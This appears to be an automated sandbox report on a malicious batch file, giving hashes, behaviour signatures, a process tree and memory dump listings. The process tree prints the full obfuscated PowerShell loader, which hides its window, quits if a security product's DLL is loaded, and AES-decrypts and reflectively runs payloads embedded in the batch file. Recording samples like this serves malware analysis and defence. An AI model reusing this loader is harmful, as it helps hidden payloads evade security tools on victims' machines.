1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad

General

Target

1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat
Size

65KB
MD5

963ce568ecee6a43389e1e12b60f325a
SHA1

2cbf2183bf67d7d2eeb98366ab9702e23e4d7c30
SHA256

1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad
SHA512

18c2c8dd7a1336cbd18c1d0e6659f47a8718492f37c1224c3348391b97b3c15e74108e293f2777323cec7bde6a645243a409d2d000b9b94bc7b71d4ee7ae8554
SSDEEP

1536:BNnIoXnDA1Chiapd336sy2r0z1k7Ew2Gr1lwtnLYT8ki:BRIGAA336sy2rSk7Ew2Gr1lKT

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2988 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2988 powershell.exe

pid	process
2988	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2988	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 3032 wrote to memory of 2872	3032	cmd.exe	cmd.exe
PID 3032 wrote to memory of 2872	3032	cmd.exe	cmd.exe
PID 3032 wrote to memory of 2872	3032	cmd.exe	cmd.exe
PID 2872 wrote to memory of 3064	2872	cmd.exe	cmd.exe
PID 2872 wrote to memory of 3064	2872	cmd.exe	cmd.exe
PID 2872 wrote to memory of 3064	2872	cmd.exe	cmd.exe
PID 2872 wrote to memory of 2988	2872	cmd.exe	powershell.exe
PID 2872 wrote to memory of 2988	2872	cmd.exe	powershell.exe
PID 2872 wrote to memory of 2988	2872	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:2872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat';$BMbC='RsHpUesHpUadLsHpUinsHpUesHpUssHpU'.Replace('sHpU', ''),'CCFZsreCFZsatCFZseDCFZsecCFZsrCFZsyCFZspCFZstCFZsorCFZs'.Replace('CFZs', ''),'FrBDpromBDprBBDpraBDprseBDpr6BDpr4SBDprtrBDpriBDprngBDpr'.Replace('BDpr', ''),'ChAmxTanAmxTgAmxTeEAmxTxtAmxTensAmxTiAmxTonAmxT'.Replace('AmxT', ''),'DMtvCecMtvComMtvCprMtvCeMtvCsMtvCsMtvC'.Replace('MtvC', ''),'LCapfoaCapfdCapf'.Replace('Capf', ''),'ISAmunSAmuvokSAmueSAmu'.Replace('SAmu', ''),'MawqArinMwqArowqArduwqArlewqAr'.Replace('wqAr', ''),'GetKwgmCuKwgmrreKwgmntKwgmPKwgmrocKwgmessKwgm'.Replace('Kwgm', ''),'SplMBlVitMBlV'.Replace('MBlV', ''),'ElayXCemayXCeayXCnayXCtayXCAtayXC'.Replace('ayXC', ''),'TVQktranVQktsVQktforVQktmFiVQktnaVQktlVQktBVQktloVQktcVQktkVQkt'.Replace('VQkt', ''),'EnXNnYtXNnYrXNnYyPoXNnYintXNnY'.Replace('XNnY', ''),'ComQwwpyTmQwwomQww'.Replace('mQww', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BMbC[8])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function zlGLC($RSWKX){$GVeOl=[System.Security.Cryptography.Aes]::Create();$GVeOl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$GVeOl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$GVeOl.Key=[System.Convert]::($BMbC[2])('uY6F5j209xASZjaoUU93vCCXVRY+Y6fGH5LCH0uNzYo=');$GVeOl.IV=[System.Convert]::($BMbC[2])('iwvv8vpAhw35q7w8nU7OXw==');$QznTD=$GVeOl.($BMbC[1])();$RHHCU=$QznTD.($BMbC[11])($RSWKX,0,$RSWKX.Length);$QznTD.Dispose();$GVeOl.Dispose();$RHHCU;}function lfrrO($RSWKX){$kKatK=New-Object System.IO.MemoryStream(,$RSWKX);$EyOwi=New-Object System.IO.MemoryStream;$oJtRR=New-Object System.IO.Compression.GZipStream($kKatK,[IO.Compression.CompressionMode]::($BMbC[4]));$oJtRR.($BMbC[13])($EyOwi);$oJtRR.Dispose();$kKatK.Dispose();$EyOwi.Dispose();$EyOwi.ToArray();}$FYWBz=[System.IO.File]::($BMbC[0])([Console]::Title);$QpMEc=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 5).Substring(2))));$IyoFy=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 6).Substring(2))));[System.Reflection.Assembly]::($BMbC[5])([byte[]]$IyoFy).($BMbC[12]).($BMbC[6])($null,$null);[System.Reflection.Assembly]::($BMbC[5])([byte[]]$QpMEc).($BMbC[12]).($BMbC[6])($null,$null); "
3⤵
PID:3064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2988

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2988-4-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download
memory/2988-5-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download
memory/2988-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2988-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-7-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-12-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads